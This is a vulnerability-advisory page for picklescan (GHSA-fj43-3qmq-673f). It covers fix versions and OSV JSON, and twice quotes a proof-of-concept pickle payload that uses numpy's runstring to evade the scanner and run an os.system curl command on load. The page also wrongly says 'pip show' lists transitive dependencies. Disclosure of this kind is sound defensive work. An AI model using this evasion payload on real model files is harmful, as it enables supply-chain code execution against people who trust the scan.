GHSA-fj43-3qmq-673f: Picklescan Picklescan Failed To Detect To Vulnerability

MODERATE
CWE-502
Published
Advisory Summary

GHSA-fj43-3qmq-673f is a MODERATE picklescan failed to detect to vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan failed to detect to some unsafe global function in numpy library. Remediation is available by upgrading affected packages to version 0.0.25.

GHSA-fj43-3qmq-673f at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-fj43-3qmq-673f
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Picklescan
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix GHSA-fj43-3qmq-673f

To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

picklescan fixed: 0.0.25
pip install picklescan>=0.0.25
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show picklescan

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-fj43-3qmq-673f, inspect your installed packages using pip:

pip show picklescan

Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.25), your application is affected.

Note: The pip show picklescan command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited by import some built-in function in Numpy library that indrectly call some dangerous function like exec() to execute some python code as a parameter, which the attacker can import dangerous library inside like os library and execute arbitrary OS commands. ### Details Pickle’s deserialization process is known to allow execution of function via **reduce** method. While Picklescan is meant to detect such exploits, this attack evades detection by calling function in Numpy library that call dangerous function like exec(). And since Numpy library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan. The attack payload executes in the following steps: - First, the attacker craft the payload by import **runstring** function in **numpy.testing._private.utils** - Then, inside **reduce** method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim. - Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import pickle import torch import pickle from picklescan.scanner import scan_file_path class Payload: def __reduce__(self): from numpy.testing._private.utils import runstring return runstring, ("import os; os.system('curl https://example.com')",{}) def create_payload(): with open('payload.pickle', 'wb') as f: pickle.dump(Payload(), f) def load_payload(): result = scan_file_path('payload.pickle') if result.infected_files != 0 or result.scan_err: print('File is infected') else: print('File is clean') with open('payload.pickle', 'rb') as f: pickle.load(f) create_payload() load_payload() ``` ### Impact Severity: High Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. For example, Invoke-AI repository (https://github.com/invoke-ai/InvokeAI) What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Recommended Fixes: I suggest adding Numpy library to the unsafe globals blacklist.

GHSA-fj43-3qmq-673f Affected Picklescan Versions

1 component(s)
Fixed Versions:
0.0.25
Product / Package Ecosystem Affected Versions Fixed Version
picklescan
PyPI
< 0.0.25
0.0.25

References

Frequently Asked Questions

What is GHSA-fj43-3qmq-673f?
GHSA-fj43-3qmq-673f is a security vulnerability in Picklescan involving Picklescan failed to detect to some unsafe global function in Numpy library under CWE-502: Deserialization of Untrusted Data.
Which Picklescan versions are affected?
Affected versions include releases prior to 0.0.25 across affected packages: picklescan.
What version fixes GHSA-fj43-3qmq-673f?
Upgrading to 0.0.25 (or the latest patched release for your respective branch) resolves the vulnerability.
Is picklescan affected?
Yes, picklescan is affected in releases prior to 0.0.25. Upgrade your dependency to 0.0.25 or later.
What CWE is associated with GHSA-fj43-3qmq-673f?
GHSA-fj43-3qmq-673f is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check PyPI dependencies for GHSA-fj43-3qmq-673f?
Run the dependency tree command: 'pip show picklescan'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fj43-3qmq-673f",
  "modified" : "2025-04-07T18:54:05Z",
  "published" : "2025-04-07T18:54:05Z",
  "aliases" : [ ],
  "summary" : "Picklescan failed to detect to some unsafe global function in Numpy library",
  "details" : "### Summary\nAn unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited by import some built-in function in Numpy library that indrectly call some dangerous function like exec() to execute some python code as a parameter, which the attacker can import dangerous library inside like os library and execute arbitrary OS commands.\n### Details\nPickle’s deserialization process is known to allow execution of function via **reduce** method. While Picklescan is meant to detect such exploits, this attack evades detection by calling function in Numpy library that call dangerous function like exec(). And since Numpy library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.\n\nThe attack payload executes in the following steps:\n- First, the attacker craft the payload by import **runstring** function in **numpy.testing._private.utils**\n- Then, inside **reduce** method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.\n- Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n```\nimport pickle\nimport torch\nimport pickle\nfrom picklescan.scanner import scan_file_path\nclass Payload:\n  def __reduce__(self):\n    from numpy.testing._private.utils import runstring\n    return runstring, (\"import os; os.system('curl https://example.com')\",{})\n    \ndef create_payload():\n  with open('payload.pickle', 'wb') as f:\n    pickle.dump(Payload(), f)\n\ndef load_payload():\n  result = scan_file_path('payload.pickle')\n  if result.infected_files != 0 or result.scan_err:\n    print('File is infected')\n  else:\n    print('File is clean')\n    with open('payload.pickle', 'rb') as f:\n      pickle.load(f)\n\ncreate_payload() \nload_payload()\n\n```\n\n### Impact\nSeverity: High\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. For example, Invoke-AI repository (https://github.com/invoke-ai/InvokeAI)\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Recommended Fixes:\n\nI suggest adding Numpy library to the unsafe globals blacklist.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.25"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-fj43-3qmq-673f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-04-07T18:54:05Z",
    "nvd_published_at" : null
  }
}